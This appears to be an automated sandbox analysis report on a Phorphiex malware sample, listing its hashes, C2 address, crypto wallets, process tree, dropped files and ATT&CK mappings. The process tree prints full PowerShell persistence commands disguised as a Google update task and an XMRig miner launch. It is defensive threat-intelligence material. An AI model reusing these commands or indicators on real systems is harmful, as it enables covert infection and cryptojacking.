Analysis

  • max time kernel
    150s
  • max time network
    149s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20221111-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system
  • submitted
    06-02-2023 09:33

General

  • Target

    3fade1189c46a975a19599f9bc8ce9b8.exe

  • Size

    6KB

  • MD5

    3fade1189c46a975a19599f9bc8ce9b8

  • SHA1

    d36f6d972624b6f8b7de5553f5bc89b43f554c1a

  • SHA256

    959ed7f57b49523114b54616f2f5bdb40c78cd1fcf8f506d3bc3721e833cee03

  • SHA512

    12bc72d5e93e762466f36cafcf026c28ea977a3e9eb5c8a1e79d63107f957d9399a6e0c21dec63db78ab8e0ba7f31108754ac335994e3d015516cff5de42fa01

  • SSDEEP

    96:e0YN1t761bndKyl7ayAcR3PtboynuYUBtCt:Yt7YbN7jz3P1oynfUBM

Malware Config

Extracted

Family

phorphiex

C2

http://185.215.113.66/

Wallets

1Gpu5QiBqsquu71AGqHwb4Y68iwnkdGH1k

3PPJU1omRSTwxDbbfVyxh9Mm8WkiMGZviMh

37AcEVDyoPyUJUKNM3mM1UxNNvKgN6Abn5

qqlt9zzv020vtlswk5v6e90nv7hsuqz0nggp4rj5t0

Xj6orHUgmtZtPb2wGSTX2reQZJ89ZeeYYG

DRyZQqRX998DYdf7zGdTCShGcRBbxjUAbF

0x25229D09B0048F23e60c010C8eE1ae65C727e973

LhoapQ1TFjG2Fvbwn5WbM2wYcwisKRVz7x

r3j2xjQLmVa6Cg3cHZLqLNVja1x6g1AtNL

TVTrpva4J2g8SENebPar4YnfnCqwUeiX4a

t1MrdY4n3DBL3uip5Pq6tqx4doYpihJJG68

AXUqtUXyQmU8buqL5ehCLuLLHhhFrREXuw

bitcoincash:qqlt9zzv020vtlswk5v6e90nv7hsuqz0nggp4rj5t0

48jYpFT6bT8MTeph7VsyzCQeDsGHqdQNc2kUkRFJPzfRHHjarBvBtudPUtParMkDzZbYBrd3yntWBQcsnVBNeeMbN9EXifg

GDX4NDGHA5WKQLOI65PKPZRHSN6ZAUBRHA7BL44O5IOVMMZFZISMHTUD

bnb1zm5y3pns0ertprnvdyulz63tenlp9kc4m78v0m

bc1qdk0fquc7ug2zn7zpdyx4kasdy34t00c5r2xdup

Signatures

  • Phorphiex

    Malware family which infects systems to distribute other malicious payloads such as ransomware, stealers and cryptominers.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs
  • Windows security bypass 2 TTPs 6 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 2 IoCs
  • Blocklisted process makes network request 1 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 6 IoCs
  • UPX packed file 2 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Windows security modification 2 TTPs 7 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 16 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 19 IoCs

Processes

  • C:\Windows\Explorer.EXE
    C:\Windows\Explorer.EXE
    1⤵
      PID:2764
      • C:\Users\Admin\AppData\Local\Temp\3fade1189c46a975a19599f9bc8ce9b8.exe
        "C:\Users\Admin\AppData\Local\Temp\3fade1189c46a975a19599f9bc8ce9b8.exe"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2732
        • C:\Users\Admin\AppData\Local\Temp\177025694.exe
          C:\Users\Admin\AppData\Local\Temp\177025694.exe
          3⤵
          • Executes dropped EXE
          • Adds Run key to start application
          • Drops file in Windows directory
          • Suspicious use of WriteProcessMemory
          PID:1556
          • C:\Windows\sysagrsv.exe
            C:\Windows\sysagrsv.exe
            4⤵
            • Windows security bypass
            • Executes dropped EXE
            • Windows security modification
            • Suspicious use of WriteProcessMemory
            PID:1968
            • C:\Users\Admin\AppData\Local\Temp\1202324613.exe
              C:\Users\Admin\AppData\Local\Temp\1202324613.exe
              5⤵
              • Executes dropped EXE
              • Suspicious use of WriteProcessMemory
              PID:3124
              • C:\Users\Admin\AppData\Local\Temp\3349715526.exe
                C:\Users\Admin\AppData\Local\Temp\3349715526.exe
                6⤵
                • Suspicious use of NtCreateUserProcessOtherParentProcess
                • Executes dropped EXE
                • Suspicious behavior: EnumeratesProcesses
                PID:4072
            • C:\Users\Admin\AppData\Local\Temp\2670615723.exe
              C:\Users\Admin\AppData\Local\Temp\2670615723.exe
              5⤵
              • Executes dropped EXE
              PID:4252
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4248
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#boaqiqu#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachine" } Else { "C:\Users\Admin\Windows Security\Update\winsvrupd.exe" }
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:1548
        • C:\Windows\system32\schtasks.exe
          "C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachine
          3⤵
            PID:1480
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe <#fwjcobfk#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { schtasks /create /f /sc onlogon /rl highest /tn 'GoogleUpdateTaskMachine' /tr '''C:\Users\Admin\Windows Security\Update\winsvrupd.exe''' } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe') -Trigger (New-ScheduledTaskTrigger -AtLogOn) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachine' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachine" /t REG_SZ /f /d 'C:\Users\Admin\Windows Security\Update\winsvrupd.exe' }
          2⤵
          • Suspicious behavior: EnumeratesProcesses
          PID:3268
        • C:\Windows\System32\cmd.exe
          C:\Windows\System32\cmd.exe /c wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Users\Admin\AppData\Roaming\Google\Libs\g.log"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4412
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic PATH Win32_VideoController GET Name, VideoProcessor
            3⤵
              PID:1064
          • C:\Windows\System32\cmd.exe
            C:\Windows\System32\cmd.exe dxfechzzfypoyjbf 6E3sjfZq2rJQaxvLPmXgsEqPiBiBLmVqlQRiqAROwnovuL/XXMnmllvN0dE0MNZasUNTlydMwtsW2rj8icJseNEYIR9Mk2CrBAnQSkVd4ghuXK6zXctx/Rv1juQihv2xvWMCiOcCltF908O7Q2gnrwdkD5pEVAuSGMT8e5i6oyrq4eYUoHB2nuvdKC2X+JFQf7iSJSEOJr7GBp5A9pekMuLZ1K+sy4g4Epzwi6wbVxl8ZM8mn+7GccIbj+pVuNsDYY3GPzEsZqgcGX8v8f7JRHr2ZjrjHFfnkTA9y/qycxz5Gn7YfwXD9vtnqqY+8qFe
            2⤵
            • Blocklisted process makes network request
            PID:1160
        • C:\Users\Admin\Windows Security\Update\winsvrupd.exe
          "C:\Users\Admin\Windows Security\Update\winsvrupd.exe"
          1⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Executes dropped EXE
          • Suspicious use of SetThreadContext
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of WriteProcessMemory
          PID:5008

        Network

        MITRE ATT&CK Matrix ATT&CK v6

        Persistence

        Registry Run Keys / Startup Folder

        1
        T1060

        Defense Evasion

        Disabling Security Tools

        2
        T1089

        Modify Registry

        3
        T1112

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        Downloads

        • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          Filesize

          3KB

          MD5

          00e7da020005370a518c26d5deb40691

          SHA1

          389b34fdb01997f1de74a5a2be0ff656280c0432

          SHA256

          a529468d442b807290b41565130e4c52760af9abec37613114db3857f11ad4fe

          SHA512

          9a02bacc6fb922d6202548e80e345c6cdec346b79ef7ac7a56f89fd342ff128de004065b9d010d015b54d4ca72f665ca658c7ffcd8eb906e14bfa5b48b43f2cf

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          1KB

          MD5

          da409d97d2aba6c6a4b392169affdda0

          SHA1

          220bb586a1caa175c7ba7c24d6d6a5f9db99e0e7

          SHA256

          14a23cee6f4aff725044f3fbc8a14effc11f8e91cf7b13b3659614c9d8e5f6ce

          SHA512

          0b57c34fba94a3f25e517b0103aa84564b08094085fe334b54b70f34a63ba6a62c37fe5ed1883644301d47a3140bf2bc82ae15001f630e26b7d97c038304adf8

        • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          Filesize

          1KB

          MD5

          a5c074e56305e761d7cbc42993300e1c

          SHA1

          39b2e23ba5c56b4f332b3607df056d8df23555bf

          SHA256

          e75b17396d67c1520afbde5ecf8b0ccda65f7833c2e7e76e3fddbbb69235d953

          SHA512

          c63d298fc3ab096d9baff606642b4a9c98a707150192191f4a6c5feb81a907495b384760d11cecbff904c486328072548ac76884f14c032c0c1ae0ca640cb5e8

        • C:\Users\Admin\AppData\Local\Temp\1202324613.exe
          Filesize

          6KB

          MD5

          03ee7b245daeebbf2ccaa1690a9fc8fc

          SHA1

          561710d7f8c05ff5c2a3a384be5de6e023e41ac4

          SHA256

          6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228

          SHA512

          f64163899218b24ee1dd59748e024e0106d83dbea3e31c0f05b1efb8558a47c232dbbcd1463a121c63e2dff2743887925238d8bf6eab0b9ee0292386918e8e55

        • C:\Users\Admin\AppData\Local\Temp\1202324613.exe
          Filesize

          6KB

          MD5

          03ee7b245daeebbf2ccaa1690a9fc8fc

          SHA1

          561710d7f8c05ff5c2a3a384be5de6e023e41ac4

          SHA256

          6bc23b9878978a2f3c507acfdad0b2244a8bda5143359613db039cb21d9c1228

          SHA512

          f64163899218b24ee1dd59748e024e0106d83dbea3e31c0f05b1efb8558a47c232dbbcd1463a121c63e2dff2743887925238d8bf6eab0b9ee0292386918e8e55

        • C:\Users\Admin\AppData\Local\Temp\177025694.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • C:\Users\Admin\AppData\Local\Temp\177025694.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • C:\Users\Admin\AppData\Local\Temp\2670615723.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • C:\Users\Admin\AppData\Local\Temp\2670615723.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • C:\Users\Admin\AppData\Local\Temp\3349715526.exe
          Filesize

          2.0MB

          MD5

          7b0633ae007d5d202c33d505d580d4b7

          SHA1

          3fcc4bd2af14b385104c27d8a192c938295bba3e

          SHA256

          84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

          SHA512

          e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

        • C:\Users\Admin\AppData\Local\Temp\3349715526.exe
          Filesize

          2.0MB

          MD5

          7b0633ae007d5d202c33d505d580d4b7

          SHA1

          3fcc4bd2af14b385104c27d8a192c938295bba3e

          SHA256

          84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

          SHA512

          e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

        • C:\Users\Admin\AppData\Roaming\Google\Libs\g.log
          Filesize

          226B

          MD5

          fdba80d4081c28c65e32fff246dc46cb

          SHA1

          74f809dedd1fc46a3a63ac9904c80f0b817b3686

          SHA256

          b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

          SHA512

          b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

        • C:\Users\Admin\Windows Security\Update\winsvrupd.exe
          Filesize

          2.0MB

          MD5

          7b0633ae007d5d202c33d505d580d4b7

          SHA1

          3fcc4bd2af14b385104c27d8a192c938295bba3e

          SHA256

          84984b4ae961524fa29008d142c78b6a859b451bdd21cedc04cc25caf4256116

          SHA512

          e1038eeaa16cc1a8c514870d2f3892c7a68f083fe7f9751906e75d93c079a51190f61e153c145302ec0c3c761de5b5e1803a7338041665d4584214a11048647f

        • C:\Windows\sysagrsv.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • C:\Windows\sysagrsv.exe
          Filesize

          75KB

          MD5

          17eb719f9e19aefae9114aa922681e7f

          SHA1

          a2165a6d3ff4dee62215bd489bbcc0aaa498e70a

          SHA256

          e0ac6b5de69220016ae30e12a499cd7e0002ab66942203376a0bb97b1790ad70

          SHA512

          77e7663c0b2cccf1f357c3f75cae22b0c8e207d482f8e5237f3d81844266d4f49d10574abbb6531ab20b417ed19a4d4991214933362a004413ccbe8a41f194de

        • memory/1064-158-0x0000000000000000-mapping.dmp
        • memory/1160-165-0x000001B5887C0000-0x000001B5887E0000-memory.dmp
          Filesize

          128KB

        • memory/1160-161-0x000001B4F46D0000-0x000001B4F46F0000-memory.dmp
          Filesize

          128KB

        • memory/1160-162-0x00007FF629DD0000-0x00007FF62A5C4000-memory.dmp
          Filesize

          8.0MB

        • memory/1160-163-0x000001B588360000-0x000001B5883A0000-memory.dmp
          Filesize

          256KB

        • memory/1160-164-0x00007FF629DD0000-0x00007FF62A5C4000-memory.dmp
          Filesize

          8.0MB

        • memory/1160-160-0x00007FF62A5C2720-mapping.dmp
        • memory/1480-152-0x0000000000000000-mapping.dmp
        • memory/1548-154-0x00007FFF574D0000-0x00007FFF57F91000-memory.dmp
          Filesize

          10.8MB

        • memory/1556-132-0x0000000000000000-mapping.dmp
        • memory/1968-135-0x0000000000000000-mapping.dmp
        • memory/3124-138-0x0000000000000000-mapping.dmp
        • memory/3268-156-0x00007FFF574D0000-0x00007FFF57F91000-memory.dmp
          Filesize

          10.8MB

        • memory/3268-157-0x00007FFF574D0000-0x00007FFF57F91000-memory.dmp
          Filesize

          10.8MB

        • memory/4072-144-0x0000000000000000-mapping.dmp
        • memory/4248-148-0x00007FFF574D0000-0x00007FFF57F91000-memory.dmp
          Filesize

          10.8MB

        • memory/4248-147-0x00007FFF574D0000-0x00007FFF57F91000-memory.dmp
          Filesize

          10.8MB

        • memory/4248-146-0x00000285A6710000-0x00000285A6732000-memory.dmp
          Filesize

          136KB

        • memory/4252-141-0x0000000000000000-mapping.dmp